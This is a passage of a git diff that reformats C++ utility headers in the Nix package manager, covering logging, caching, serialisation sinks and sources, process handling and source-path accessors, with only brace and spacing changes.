result(ResultType type, const Args & ... args) const + void result(ResultType type, const Args &... args) const { Logger::Fields fields; nop{(fields.emplace_back(Logger::Field(args)), 1)...}; @@ -188,8 +223,15 @@ struct Activity struct PushActivity { const ActivityId prevAct; - PushActivity(ActivityId act) : prevAct(getCurActivity()) { setCurActivity(act); } - ~PushActivity() { setCurActivity(prevAct); } + PushActivity(ActivityId act) + : prevAct(getCurActivity()) + { + setCurActivity(act); + } + ~PushActivity() + { + setCurActivity(prevAct); + } }; extern std::unique_ptr logger; @@ -206,16 +248,20 @@ std::optional parseJSONMessage(const std::string & msg, std::str /** * @param source A noun phrase describing the source of the message, e.g. "the builder". */ -bool handleJSONLogMessage(nlohmann::json & json, - const Activity & act, std::map & activities, +bool handleJSONLogMessage( + nlohmann::json & json, + const Activity & act, + std::map & activities, std::string_view source, bool trusted); /** * @param source A noun phrase describing the source of the message, e.g. "the builder". */ -bool handleJSONLogMessage(const std::string & msg, - const Activity & act, std::map & activities, +bool handleJSONLogMessage( + const std::string & msg, + const Activity & act, + std::map & activities, std::string_view source, bool trusted); @@ -230,11 +276,11 @@ extern Verbosity verbosity; * intervention or that need more explanation. Use the 'print' macros for more * lightweight status messages. */ -#define logErrorInfo(level, errorInfo...) \ - do { \ - if ((level) <= nix::verbosity) { \ - logger->logEI((level), errorInfo); \ - } \ +#define logErrorInfo(level, errorInfo...) \ + do { \ + if ((level) <= nix::verbosity) { \ + logger->logEI((level), errorInfo); \ + } \ } while (0) #define logError(errorInfo...) logErrorInfo(lvlError, errorInfo) @@ -246,11 +292,11 @@ extern Verbosity verbosity; * arguments are evaluated lazily. */ #define printMsgUsing(loggerParam, level, args...) \ - do { \ - auto __lvl = level; \ - if (__lvl <= nix::verbosity) { \ - loggerParam->log(__lvl, fmt(args)); \ - } \ + do { \ + auto __lvl = level; \ + if (__lvl <= nix::verbosity) { \ + loggerParam->log(__lvl, fmt(args)); \ + } \ } while (0) #define printMsg(level, args...) printMsgUsing(logger, level, args) @@ -265,7 +311,7 @@ extern Verbosity verbosity; * if verbosity >= lvlWarn, print a message with a yellow 'warning:' prefix. */ template -inline void warn(const std::string & fs, const Args & ... args) +inline void warn(const std::string & fs, const Args &... args) { boost::format f(fs); formatHelper(f, args...); diff --git a/src/libutil/include/nix/util/lru-cache.hh b/src/libutil/include/nix/util/lru-cache.hh index 6e14cac35..5fa3b34a6 100644 --- a/src/libutil/include/nix/util/lru-cache.hh +++ b/src/libutil/include/nix/util/lru-cache.hh @@ -25,21 +25,28 @@ private: using Data = std::map>; using LRU = std::list; - struct LRUIterator { typename LRU::iterator it; }; + struct LRUIterator + { + typename LRU::iterator it; + }; Data data; LRU lru; public: - LRUCache(size_t capacity) : capacity(capacity) { } + LRUCache(size_t capacity) + : capacity(capacity) + { + } /** * Insert or upsert an item in the cache. */ void upsert(const Key & key, const Value & value) { - if (capacity == 0) return; + if (capacity == 0) + return; erase(key); @@ -64,7 +71,8 @@ public: bool erase(const Key & key) { auto i = data.find(key); - if (i == data.end()) return false; + if (i == data.end()) + return false; lru.erase(i->second.first.it); data.erase(i); return true; @@ -77,7 +85,8 @@ public: std::optional get(const Key & key) { auto i = data.find(key); - if (i == data.end()) return {}; + if (i == data.end()) + return {}; /** * Move this item to the back of the LRU list. diff --git a/src/libutil/include/nix/util/memory-source-accessor.hh b/src/libutil/include/nix/util/memory-source-accessor.hh index d09ba153d..a7a6ec6b3 100644 --- a/src/libutil/include/nix/util/memory-source-accessor.hh +++ b/src/libutil/include/nix/util/memory-source-accessor.hh @@ -14,33 +14,37 @@ struct MemorySourceAccessor : virtual SourceAccessor * `MemorySourceAccessor`, this has a side benefit of nicely * defining what a "file system object" is in Nix. */ - struct File { - bool operator == (const File &) const noexcept; - std::strong_ordering operator <=> (const File &) const noexcept; + struct File + { + bool operator==(const File &) const noexcept; + std::strong_ordering operator<=>(const File &) const noexcept; - struct Regular { + struct Regular + { bool executable = false; std::string contents; - bool operator == (const Regular &) const = default; - auto operator <=> (const Regular &) const = default; + bool operator==(const Regular &) const = default; + auto operator<=>(const Regular &) const = default; }; - struct Directory { + struct Directory + { using Name = std::string; std::map> contents; - bool operator == (const Directory &) const noexcept; + bool operator==(const Directory &) const noexcept; // TODO libc++ 16 (used by darwin) missing `std::map::operator <=>`, can't do yet. - bool operator < (const Directory &) const noexcept; + bool operator<(const Directory &) const noexcept; }; - struct Symlink { + struct Symlink + { std::string target; - bool operator == (const Symlink &) const = default; - auto operator <=> (const Symlink &) const = default; + bool operator==(const Symlink &) const = default; + auto operator<=>(const Symlink &) const = default; }; using Raw = std::variant; @@ -51,10 +55,11 @@ struct MemorySourceAccessor : virtual SourceAccessor Stat lstat() const; }; - File root { File::Directory {} }; + File root{File::Directory{}}; - bool operator == (const MemorySourceAccessor &) const noexcept = default; - bool operator < (const MemorySourceAccessor & other) const noexcept { + bool operator==(const MemorySourceAccessor &) const noexcept = default; + bool operator<(const MemorySourceAccessor & other) const noexcept + { return root < other.root; } @@ -80,19 +85,17 @@ struct MemorySourceAccessor : virtual SourceAccessor SourcePath addFile(CanonPath path, std::string && contents); }; - -inline bool MemorySourceAccessor::File::Directory::operator == ( +inline bool MemorySourceAccessor::File::Directory::operator==( const MemorySourceAccessor::File::Directory &) const noexcept = default; -inline bool MemorySourceAccessor::File::Directory::operator < ( - const MemorySourceAccessor::File::Directory & other) const noexcept +inline bool +MemorySourceAccessor::File::Directory::operator<(const MemorySourceAccessor::File::Directory & other) const noexcept { return contents < other.contents; } -inline bool MemorySourceAccessor::File::operator == ( - const MemorySourceAccessor::File &) const noexcept = default; -inline std::strong_ordering MemorySourceAccessor::File::operator <=> ( - const MemorySourceAccessor::File &) const noexcept = default; +inline bool MemorySourceAccessor::File::operator==(const MemorySourceAccessor::File &) const noexcept = default; +inline std::strong_ordering +MemorySourceAccessor::File::operator<=>(const MemorySourceAccessor::File &) const noexcept = default; /** * Write to a `MemorySourceAccessor` at the given path @@ -101,13 +104,14 @@ struct MemorySink : FileSystemObjectSink { MemorySourceAccessor & dst; - MemorySink(MemorySourceAccessor & dst) : dst(dst) { } + MemorySink(MemorySourceAccessor & dst) + : dst(dst) + { + } void createDirectory(const CanonPath & path) override; - void createRegularFile( - const CanonPath & path, - std::function) override; + void createRegularFile(const CanonPath & path, std::function) override; void createSymlink(const CanonPath & path, const std::string & target) override; }; diff --git a/src/libutil/include/nix/util/pool.hh b/src/libutil/include/nix/util/pool.hh index a63db50de..aaaa60908 100644 --- a/src/libutil/include/nix/util/pool.hh +++ b/src/libutil/include/nix/util/pool.hh @@ -29,7 +29,7 @@ namespace nix { * Here, the Connection object referenced by ‘conn’ is automatically * returned to the pool when ‘conn’ goes out of scope. */ -template +template class Pool { public: @@ -63,7 +63,8 @@ private: public: - Pool(size_t max = std::numeric_limits::max(), + Pool( + size_t max = std::numeric_limits::max(), const Factory & factory = []() { return make_ref(); }, const Validator & validator = [](ref r) { return true; }) : factory(factory) @@ -106,7 +107,11 @@ public: friend Pool; - Handle(Pool & pool, std::shared_ptr r) : pool(pool), r(r) { } + Handle(Pool & pool, std::shared_ptr r) + : pool(pool) + , r(r) + { + } public: // NOTE: Copying std::shared_ptr and calling a .reset() on it is always noexcept. @@ -123,7 +128,8 @@ public: ~Handle() { - if (!r) return; + if (!r) + return; { auto state_(pool.state.lock()); if (!bad) @@ -134,10 +140,19 @@ public: pool.wakeup.notify_one(); } - R * operator -> () { return &*r; } - R & operator * () { return *r; } + R * operator->() + { + return &*r; + } + R & operator*() + { + return *r; + } - void markBad() { bad = true; } + void markBad() + { + bad = true; + } }; Handle get() diff --git a/src/libutil/include/nix/util/position.hh b/src/libutil/include/nix/util/position.hh index f9c984976..0500eb132 100644 --- a/src/libutil/include/nix/util/position.hh +++ b/src/libutil/include/nix/util/position.hh @@ -21,34 +21,51 @@ struct Pos uint32_t line = 0; uint32_t column = 0; - struct Stdin { + struct Stdin + { ref source; bool operator==(const Stdin & rhs) const noexcept - { return *source == *rhs.source; } + { + return *source == *rhs.source; + } std::strong_ordering operator<=>(const Stdin & rhs) const noexcept - { return *source <=> *rhs.source; } + { + return *source <=> *rhs.source; + } }; - struct String { + struct String + { ref source; bool operator==(const String & rhs) const noexcept - { return *source == *rhs.source; } + { + return *source == *rhs.source; + } std::strong_ordering operator<=>(const String & rhs) const noexcept - { return *source <=> *rhs.source; } + { + return *source <=> *rhs.source; + } }; typedef std::variant Origin; Origin origin = std::monostate(); - Pos() { } + Pos() {} Pos(uint32_t line, uint32_t column, Origin origin) - : line(line), column(column), origin(origin) { } + : line(line) + , column(column) + , origin(origin) + { + } Pos(Pos & other) = default; Pos(const Pos & other) = default; Pos(Pos && other) = default; Pos(const Pos * other); - explicit operator bool() const { return line > 0; } + explicit operator bool() const + { + return line > 0; + } /* TODO: Why std::shared_ptr and not std::shared_ptr? */ operator std::shared_ptr() const; @@ -72,39 +89,56 @@ struct Pos */ std::optional getSourcePath() const; - struct LinesIterator { + struct LinesIterator + { using difference_type = size_t; using value_type = std::string_view; using reference = const std::string_view &; using pointer = const std::string_view *; using iterator_category = std::input_iterator_tag; - LinesIterator(): pastEnd(true) {} - explicit LinesIterator(std::string_view input): input(input), pastEnd(input.empty()) { + LinesIterator() + : pastEnd(true) + { + } + explicit LinesIterator(std::string_view input) + : input(input) + , pastEnd(input.empty()) + { if (!pastEnd) bump(true); } - LinesIterator & operator++() { + LinesIterator & operator++() + { bump(false); return *this; } - LinesIterator operator++(int) { + LinesIterator operator++(int) + { auto result = *this; ++*this; return result; } - reference operator*() const { return curLine; } - pointer operator->() const { return &curLine; } + reference operator*() const + { + return curLine; + } + pointer operator->() const + { + return &curLine; + } - bool operator!=(const LinesIterator & other) const { + bool operator!=(const LinesIterator & other) const + { return !(*this == other); } - bool operator==(const LinesIterator & other) const { + bool operator==(const LinesIterator & other) const + { return (pastEnd && other.pastEnd) - || (std::forward_as_tuple(input.size(), input.data()) - == std::forward_as_tuple(other.input.size(), other.input.data())); + || (std::forward_as_tuple(input.size(), input.data()) + == std::forward_as_tuple(other.input.size(), other.input.data())); } private: diff --git a/src/libutil/include/nix/util/posix-source-accessor.hh b/src/libutil/include/nix/util/posix-source-accessor.hh index ea65b148f..7d87c4a6d 100644 --- a/src/libutil/include/nix/util/posix-source-accessor.hh +++ b/src/libutil/include/nix/util/posix-source-accessor.hh @@ -27,10 +27,7 @@ struct PosixSourceAccessor : virtual SourceAccessor */ time_t mtime = 0; - void readFile( - const CanonPath & path, - Sink & sink, - std::function sizeCallback) override; + void readFile(const CanonPath & path, Sink & sink, std::function sizeCallback) override; bool pathExists(const CanonPath & path) override; diff --git a/src/libutil/include/nix/util/processes.hh b/src/libutil/include/nix/util/processes.hh index ef7bddf2f..a4d4bd90a 100644 --- a/src/libutil/include/nix/util/processes.hh +++ b/src/libutil/include/nix/util/processes.hh @@ -37,11 +37,11 @@ public: Pid(); #ifndef _WIN32 Pid(pid_t pid); - void operator =(pid_t pid); + void operator=(pid_t pid); operator pid_t(); #else Pid(AutoCloseFD pid); - void operator =(AutoCloseFD pid); + void operator=(AutoCloseFD pid); #endif ~Pid(); int kill(); @@ -55,7 +55,6 @@ public: #endif }; - #ifndef _WIN32 /** * Kill all processes running under the specified uid by sending them @@ -64,7 +63,6 @@ public: void killUser(uid_t uid); #endif - /** * Fork a process that runs the given function, and return the child * pid to the caller. @@ -89,9 +87,12 @@ pid_t startProcess(std::function fun, const ProcessOptions & options = P * Run a program and return its stdout in a string (i.e., like the * shell backtick operator). */ -std::string runProgram(Path program, bool lookupPath = false, +std::string runProgram( + Path program, + bool lookupPath = false, const Strings & args = Strings(), - const std::optional & input = {}, bool isInteractive = false); + const std::optional & input = {}, + bool isInteractive = false); struct RunOptions { @@ -115,16 +116,17 @@ std::pair runProgram(RunOptions && options); void runProgram2(const RunOptions & options); - class ExecError : public Error { public: int status; template - ExecError(int status, const Args & ... args) - : Error(args...), status(status) - { } + ExecError(int status, const Args &... args) + : Error(args...) + , status(status) + { + } }; /** diff --git a/src/libutil/include/nix/util/ref.hh b/src/libutil/include/nix/util/ref.hh index 92688bf1e..21b021213 100644 --- a/src/libutil/include/nix/util/ref.hh +++ b/src/libutil/include/nix/util/ref.hh @@ -32,17 +32,17 @@ public: throw std::invalid_argument("null pointer cast to ref"); } - T* operator ->() const + T * operator->() const { return &*p; } - T& operator *() const + T & operator*() const { return *p; } - operator std::shared_ptr () const + operator std::shared_ptr() const { return p; } @@ -65,22 +65,22 @@ public: } template - operator ref () const + operator ref() const { return ref((std::shared_ptr) p); } - bool operator == (const ref & other) const + bool operator==(const ref & other) const { return p == other.p; } - bool operator != (const ref & other) const + bool operator!=(const ref & other) const { return p != other.p; } - auto operator <=> (const ref & other) const + auto operator<=>(const ref & other) const { return p <=> other.p; } @@ -88,14 +88,11 @@ public: private: template - friend ref - make_ref(Args&&... args); - + friend ref make_ref(Args &&... args); }; template -inline ref -make_ref(Args&&... args) +inline ref make_ref(Args &&... args) { auto p = std::make_shared(std::forward(args)...); return ref(p); diff --git a/src/libutil/include/nix/util/references.hh b/src/libutil/include/nix/util/references.hh index 89a42e009..95ad2f535 100644 --- a/src/libutil/include/nix/util/references.hh +++ b/src/libutil/include/nix/util/references.hh @@ -14,13 +14,17 @@ class RefScanSink : public Sink public: - RefScanSink(StringSet && hashes) : hashes(hashes) - { } + RefScanSink(StringSet && hashes) + : hashes(hashes) + { + } StringSet & getResult() - { return seen; } + { + return seen; + } - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; }; struct RewritingSink : Sink @@ -36,7 +40,7 @@ struct RewritingSink : Sink RewritingSink(const std::string & from, const std::string & to, Sink & nextSink); RewritingSink(const StringMap & rewrites, Sink & nextSink); - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; void flush(); }; @@ -48,7 +52,7 @@ struct HashModuloSink : AbstractHashSink HashModuloSink(HashAlgorithm ha, const std::string & modulus); - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; HashResult finish() override; }; diff --git a/src/libutil/include/nix/util/serialise.hh b/src/libutil/include/nix/util/serialise.hh index d28c8e9a6..b27581437 100644 --- a/src/libutil/include/nix/util/serialise.hh +++ b/src/libutil/include/nix/util/serialise.hh @@ -8,19 +8,23 @@ #include "nix/util/util.hh" #include "nix/util/file-descriptor.hh" -namespace boost::context { struct stack_context; } +namespace boost::context { +struct stack_context; +} namespace nix { - /** * Abstract destination of binary data. */ struct Sink { - virtual ~Sink() { } - virtual void operator () (std::string_view data) = 0; - virtual bool good() { return true; } + virtual ~Sink() {} + virtual void operator()(std::string_view data) = 0; + virtual bool good() + { + return true; + } }; /** @@ -28,17 +32,14 @@ struct Sink */ struct NullSink : Sink { - void operator () (std::string_view data) override - { } + void operator()(std::string_view data) override {} }; - struct FinishSink : virtual Sink { virtual void finish() = 0; }; - /** * A buffered abstract sink. Warning: a BufferedSink should not be * used from multiple threads concurrently. @@ -49,9 +50,13 @@ struct BufferedSink : virtual Sink std::unique_ptr buffer; BufferedSink(size_t bufSize = 32 * 1024) - : bufSize(bufSize), bufPos(0), buffer(nullptr) { } + : bufSize(bufSize) + , bufPos(0) + , buffer(nullptr) + { + } - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; void flush(); @@ -60,21 +65,20 @@ protected: virtual void writeUnbuffered(std::string_view data) = 0; }; - /** * Abstract source of binary data. */ struct Source { - virtual ~Source() { } + virtual ~Source() {} /** * Store exactly ‘len’ bytes in the buffer pointed to by ‘data’. * It blocks until all the requested data is available, or throws * an error if it is not going to be available. */ - void operator () (char * data, size_t len); - void operator () (std::string_view data); + void operator()(char * data, size_t len); + void operator()(std::string_view data); /** * Store up to ‘len’ in the buffer pointed to by ‘data’, and @@ -83,14 +87,16 @@ struct Source */ virtual size_t read(char * data, size_t len) = 0; - virtual bool good() { return true; } + virtual bool good() + { + return true; + } void drainInto(Sink & sink); std::string drain(); }; - /** * A buffered abstract source. Warning: a BufferedSource should not be * used from multiple threads concurrently. @@ -101,7 +107,12 @@ struct BufferedSource : Source std::unique_ptr buffer; BufferedSource(size_t bufSize = 32 * 1024) - : bufSize(bufSize), bufPosIn(0), bufPosOut(0), buffer(nullptr) { } + : bufSize(bufSize) + , bufPosIn(0) + , bufPosOut(0) + , buffer(nullptr) + { + } size_t read(char * data, size_t len) override; @@ -117,7 +128,6 @@ protected: virtual size_t readUnbuffered(char * data, size_t len) = 0; }; - /** * A sink that writes data to a file descriptor. */ @@ -126,9 +136,15 @@ struct FdSink : BufferedSink Descriptor fd; size_t written = 0; - FdSink() : fd(INVALID_DESCRIPTOR) { } - FdSink(Descriptor fd) : fd(fd) { } - FdSink(FdSink&&) = default; + FdSink() + : fd(INVALID_DESCRIPTOR) + { + } + FdSink(Descriptor fd) + : fd(fd) + { + } + FdSink(FdSink &&) = default; FdSink & operator=(FdSink && s) { @@ -149,7 +165,6 @@ private: bool _good = true; }; - /** * A source that reads data from a file descriptor. */ @@ -159,8 +174,14 @@ struct FdSource : BufferedSource size_t read = 0; BackedStringView endOfFileError{"unexpected end-of-file"}; - FdSource() : fd(INVALID_DESCRIPTOR) { } - FdSource(Descriptor fd) : fd(fd) { } + FdSource() + : fd(INVALID_DESCRIPTOR) + { + } + FdSource(Descriptor fd) + : fd(fd) + { + } FdSource(FdSource &&) = default; FdSource & operator=(FdSource && s) = default; @@ -179,23 +200,22 @@ private: bool _good = true; }; - /** * A sink that writes data to a string. */ struct StringSink : Sink { std::string s; - StringSink() { } + StringSink() {} explicit StringSink(const size_t reservedSize) { - s.reserve(reservedSize); + s.reserve(reservedSize); }; - StringSink(std::string && s) : s(std::move(s)) { }; - void operator () (std::string_view data) override; + StringSink(std::string && s) + : s(std::move(s)) {}; + void operator()(std::string_view data) override; }; - /** * A source that reads data from a string. */ @@ -208,28 +228,37 @@ struct StringSource : Source // from std::string -> std::string_view occurs when the string is passed // by rvalue. StringSource(std::string &&) = delete; - StringSource(std::string_view s) : s(s), pos(0) { } - StringSource(const std::string& str): StringSource(std::string_view(str)) {} + StringSource(std::string_view s) + : s(s) + , pos(0) + { + } + StringSource(const std::string & str) + : StringSource(std::string_view(str)) + { + } size_t read(char * data, size_t len) override; }; - /** * A sink that writes all incoming data to two other sinks. */ struct TeeSink : Sink { - Sink & sink1, & sink2; - TeeSink(Sink & sink1, Sink & sink2) : sink1(sink1), sink2(sink2) { } - virtual void operator () (std::string_view data) override + Sink &sink1, &sink2; + TeeSink(Sink & sink1, Sink & sink2) + : sink1(sink1) + , sink2(sink2) + { + } + virtual void operator()(std::string_view data) override { sink1(data); sink2(data); } }; - /** * Adapter class of a Source that saves all data read to a sink. */ @@ -238,7 +267,10 @@ struct TeeSource : Source Source & orig; Sink & sink; TeeSource(Source & orig, Sink & sink) - : orig(orig), sink(sink) { } + : orig(orig) + , sink(sink) + { + } size_t read(char * data, size_t len) override { size_t n = orig.read(data, len); @@ -255,7 +287,10 @@ struct SizedSource : Source Source & orig; size_t remain; SizedSource(Source & orig, size_t size) - : orig(orig), remain(size) { } + : orig(orig) + , remain(size) + { + } size_t read(char * data, size_t len) override { if (this->remain <= 0) { @@ -289,7 +324,7 @@ struct LengthSink : Sink { uint64_t length = 0; - void operator () (std::string_view data) override + void operator()(std::string_view data) override { length += data.size(); } @@ -302,8 +337,10 @@ struct LengthSource : Source { Source & next; - LengthSource(Source & next) : next(next) - { } + LengthSource(Source & next) + : next(next) + { + } uint64_t total = 0; @@ -324,15 +361,17 @@ struct LambdaSink : Sink lambda_t lambda; - LambdaSink(const lambda_t & lambda) : lambda(lambda) { } + LambdaSink(const lambda_t & lambda) + : lambda(lambda) + { + } - void operator () (std::string_view data) override + void operator()(std::string_view data) override { lambda(data); } }; - /** * Convert a function into a source. */ @@ -342,7 +381,10 @@ struct LambdaSource : Source lambda_t lambda; - LambdaSource(const lambda_t & lambda) : lambda(lambda) { } + LambdaSource(const lambda_t & lambda) + : lambda(lambda) + { + } size_t read(char * data, size_t len) override { @@ -356,11 +398,13 @@ struct LambdaSource : Source */ struct ChainSource : Source { - Source & source1, & source2; + Source &source1, &source2; bool useSecond = false; ChainSource(Source & s1, Source & s2) - : source1(s1), source2(s2) - { } + : source1(s1) + , source2(s2) + { + } size_t read(char * data, size_t len) override; }; @@ -372,16 +416,12 @@ std::unique_ptr sourceToSink(std::function fun); * Source executes the function as a coroutine. */ std::unique_ptr sinkToSource( - std::function fun, - std::function eof = []() { - throw EndOfFile("coroutine has finished"); - }); - + std::function fun, std::function eof = []() { throw EndOfFile("coroutine has finished"); }); void writePadding(size_t len, Sink & sink); void writeString(std::string_view s, Sink & sink); -inline Sink & operator << (Sink & sink, uint64_t n) +inline Sink & operator<<(Sink & sink, uint64_t n) { unsigned char buf[8]; buf[0] = n & 0xff; @@ -396,15 +436,13 @@ inline Sink & operator << (Sink & sink, uint64_t n) return sink; } -Sink & operator << (Sink & in, const Error & ex); -Sink & operator << (Sink & sink, std::string_view s); -Sink & operator << (Sink & sink, const Strings & s); -Sink & operator << (Sink & sink, const StringSet & s); - +Sink & operator<<(Sink & in, const Error & ex); +Sink & operator<<(Sink & sink, std::string_view s); +Sink & operator<<(Sink & sink, const Strings & s); +Sink & operator<<(Sink & sink, const StringSet & s); MakeError(SerialisationError, Error); - template T readNum(Source & source) { @@ -419,35 +457,33 @@ T readNum(Source & source) return (T) n; } - inline unsigned int readInt(Source & source) { return readNum(source); } - inline uint64_t readLongLong(Source & source) { return readNum(source); } - void readPadding(size_t len, Source & source); size_t readString(char * buf, size_t max, Source & source); std::string readString(Source & source, size_t max = std::numeric_limits::max()); -template T readStrings(Source & source); +template +T readStrings(Source & source); -Source & operator >> (Source & in, std::string & s); +Source & operator>>(Source & in, std::string & s); template -Source & operator >> (Source & in, T & n) +Source & operator>>(Source & in, T & n) { n = readNum(in); return in; } template -Source & operator >> (Source & in, bool & b) +Source & operator>>(Source & in, bool & b) { b = readNum(in); return in; @@ -455,7 +491,6 @@ Source & operator >> (Source & in, bool & b) Error readError(Source & source); - /** * An adapter that converts a std::basic_istream into a source. */ @@ -465,7 +500,8 @@ struct StreamToSourceAdapter : Source StreamToSourceAdapter(std::shared_ptr> istream) : istream(istream) - { } + { + } size_t read(char * data, size_t len) override { @@ -480,7 +516,6 @@ struct StreamToSourceAdapter : Source } }; - /** * A source that reads a distinct format of concatenated chunks back into its * logical form, in order to guarantee a known state to the original stream, @@ -496,8 +531,10 @@ struct FramedSource : Source std::vector pending; size_t pos = 0; - FramedSource(Source & from) : from(from) - { } + FramedSource(Source & from) + : from(from) + { + } ~FramedSource() { @@ -505,7 +542,8 @@ struct FramedSource : Source if (!eof) { while (true) { auto n = readInt(from); - if (!n) break; + if (!n) + break; std::vector data(n); from(data.data(), n); } @@ -517,7 +555,8 @@ struct FramedSource : Source size_t read(char * data, size_t len) override { - if (eof) throw EndOfFile("reached end of FramedSource"); + if (eof) + throw EndOfFile("reached end of FramedSource"); if (pos >= pending.size()) { size_t len = readInt(from); @@ -549,8 +588,10 @@ struct FramedSink : nix::BufferedSink std::function checkError; FramedSink(BufferedSink & to, std::function && checkError) - : to(to), checkError(checkError) - { } + : to(to) + , checkError(checkError) + { + } ~FramedSink() { diff --git a/src/libutil/include/nix/util/signals.hh b/src/libutil/include/nix/util/signals.hh index 5a2ba8e75..40ebb61b7 100644 --- a/src/libutil/include/nix/util/signals.hh +++ b/src/libutil/include/nix/util/signals.hh @@ -41,10 +41,9 @@ inline void checkInterrupt(); */ MakeError(Interrupted, BaseError); - struct InterruptCallback { - virtual ~InterruptCallback() { }; + virtual ~InterruptCallback() {}; }; /** @@ -53,8 +52,7 @@ struct InterruptCallback * * @note Does nothing on Windows */ -std::unique_ptr createInterruptCallback( - std::function callback); +std::unique_ptr createInterruptCallback(std::function callback); /** * A RAII class that causes the current thread to receive SIGUSR1 when diff --git a/src/libutil/include/nix/util/signature/local-keys.hh b/src/libutil/include/nix/util/signature/local-keys.hh index 85918f906..b61140c14 100644 --- a/src/libutil/include/nix/util/signature/local-keys.hh +++ b/src/libutil/include/nix/util/signature/local-keys.hh @@ -15,7 +15,8 @@ namespace nix { * : * ``` */ -struct BorrowedCryptoValue { +struct BorrowedCryptoValue +{ std::string_view name; std::string_view payload; @@ -45,7 +46,10 @@ protected: Key(std::string_view s, bool sensitiveValue); Key(std::string_view name, std::string && key) - : name(name), key(std::move(key)) { } + : name(name) + , key(std::move(key)) + { + } }; struct PublicKey; @@ -65,7 +69,9 @@ struct SecretKey : Key private: SecretKey(std::string_view name, std::string && key) - : Key(name, std::move(key)) { } + : Key(name, std::move(key)) + { + } }; struct PublicKey : Key @@ -89,7 +95,9 @@ struct PublicKey : Key private: PublicKey(std::string_view name, std::string && key) - : Key(name, std::move(key)) { } + : Key(name, std::move(key)) + { + } friend struct SecretKey; }; diff --git a/src/libutil/include/nix/util/signature/signer.hh b/src/libutil/include/nix/util/signature/signer.hh index ca2905eef..b076e5761 100644 --- a/src/libutil/include/nix/util/signature/signer.hh +++ b/src/libutil/include/nix/util/signature/signer.hh @@ -37,7 +37,7 @@ struct Signer virtual const PublicKey & getPublicKey() = 0; }; -using Signers = std::map; +using Signers = std::map; /** * Local signer diff --git a/src/libutil/include/nix/util/source-accessor.hh b/src/libutil/include/nix/util/source-accessor.hh index 5ef660150..68ddb5596 100644 --- a/src/libutil/include/nix/util/source-accessor.hh +++ b/src/libutil/include/nix/util/source-accessor.hh @@ -46,8 +46,7 @@ struct SourceAccessor : std::enable_shared_from_this SourceAccessor(); - virtual ~SourceAccessor() - { } + virtual ~SourceAccessor() {} /** * Return the contents of a file as a string. @@ -72,24 +71,28 @@ struct SourceAccessor : std::enable_shared_from_this * @note subclasses of `SourceAccessor` need to implement at least * one of the `readFile()` variants. */ - virtual void readFile( - const CanonPath & path, - Sink & sink, - std::function sizeCallback = [](uint64_t size){}); + virtual void + readFile(const CanonPath & path, Sink & sink, std::function sizeCallback = [](uint64_t size) {}); virtual bool pathExists(const CanonPath & path); enum Type { - tRegular, tSymlink, tDirectory, - /** - Any other node types that may be encountered on the file system, such as device nodes, sockets, named pipe, and possibly even more exotic things. + tRegular, + tSymlink, + tDirectory, + /** + Any other node types that may be encountered on the file system, such as device nodes, sockets, named pipe, + and possibly even more exotic things. - Responsible for `"unknown"` from `builtins.readFileType "/dev/null"`. + Responsible for `"unknown"` from `builtins.readFileType "/dev/null"`. - Unlike `DT_UNKNOWN`, this must not be used for deferring the lookup of types. - */ - tChar, tBlock, tSocket, tFifo, - tUnknown + Unlike `DT_UNKNOWN`, this must not be used for deferring the lookup of types. + */ + tChar, + tBlock, + tSocket, + tFifo, + tUnknown }; struct Stat @@ -133,15 +136,10 @@ struct SourceAccessor : std::enable_shared_from_this virtual std::string readLink(const CanonPath & path) = 0; - virtual void dumpPath( - const CanonPath & path, - Sink & sink, - PathFilter & filter = defaultPathFilter); + virtual void dumpPath(const CanonPath & path, Sink & sink, PathFilter & filter = defaultPathFilter); - Hash hashPath( - const CanonPath & path, - PathFilter & filter = defaultPathFilter, - HashAlgorithm ha = HashAlgorithm::SHA256); + Hash + hashPath(const CanonPath & path, PathFilter & filter = defaultPathFilter, HashAlgorithm ha = HashAlgorithm::SHA256); /** * Return a corresponding path in the root filesystem, if @@ -149,14 +147,16 @@ struct SourceAccessor : std::enable_shared_from_this * materialized in the root filesystem. */ virtual std::optional getPhysicalPath(const CanonPath & path) - { return std::nullopt; } + { + return std::nullopt; + } - bool operator == (const SourceAccessor & x) const + bool operator==(const SourceAccessor & x) const { return number == x.number; } - auto operator <=> (const SourceAccessor & x) const + auto operator<=>(const SourceAccessor & x) const { return number <=> x.number; } @@ -172,9 +172,7 @@ struct SourceAccessor : std::enable_shared_from_this * @param mode might only be a temporary solution for this. * See the discussion in https://github.com/NixOS/nix/pull/9985. */ - CanonPath resolveSymlinks( - const CanonPath & path, - SymlinkResolution mode = SymlinkResolution::Full); + CanonPath resolveSymlinks(const CanonPath & path, SymlinkResolution mode = SymlinkResolution::Full); /** * A string that uniquely represents the contents of this @@ -187,7 +185,9 @@ struct SourceAccessor : std::enable_shared_from_this * tree, if available. */ virtual std::optional getLastModified() - { return std::nullopt; } + { + return std::nullopt; + } }; /** diff --git a/src/libutil/include/nix/util/source-path.hh b/src/libutil/include/nix/util/source-path.hh index c0cba0241..c738fefa9 100644 --- a/src/libutil/include/nix/util/source-path.hh +++ b/src/libutil/include/nix/util/source-path.hh @@ -26,7 +26,8 @@ struct SourcePath SourcePath(ref accessor, CanonPath path = CanonPath::root) : accessor(std::move(accessor)) , path(std::move(path)) - { } + { + } std::string_view baseName() const; @@ -42,15 +43,15 @@ struct SourcePath */ std::string readFile() const; - void readFile( - Sink & sink, - std::function sizeCallback = [](uint64_t size){}) const - { return accessor->readFile(path, sink, sizeCallback); } + void readFile(Sink & sink, std::function sizeCallback = [](uint64_t size) {}) const + { + return accessor->readFile(path, sink, sizeCallback); + } /** * Return whether this `SourcePath` denotes a file (of any type) * that exists - */ + */ bool pathExists() const; /** @@ -80,9 +81,7 @@ struct SourcePath /** * Dump this `SourcePath` to `sink` as a NAR archive. */ - void dumpPath( - Sink & sink, - PathFilter & filter = defaultPathFilter) const; + void dumpPath(Sink & sink, PathFilter & filter = defaultPathFilter) const; /** * Return the location of this path in the "real" filesystem, if @@ -95,14 +94,14 @@ struct SourcePath /** * Append a `CanonPath` to this path. */ - SourcePath operator / (const CanonPath & x) const; + SourcePath operator/(const CanonPath & x) const; /** * Append a single component `c` to this path. `c` must not * contain a slash. A slash is implicitly added between this path * and `c`. */ - SourcePath operator / (std::string_view c) const; + SourcePath operator/(std::string_view c) const; bool operator==(const SourcePath & x) const noexcept; std::strong_ordering operator<=>(const SourcePath & x) const noexcept; @@ -110,8 +109,7 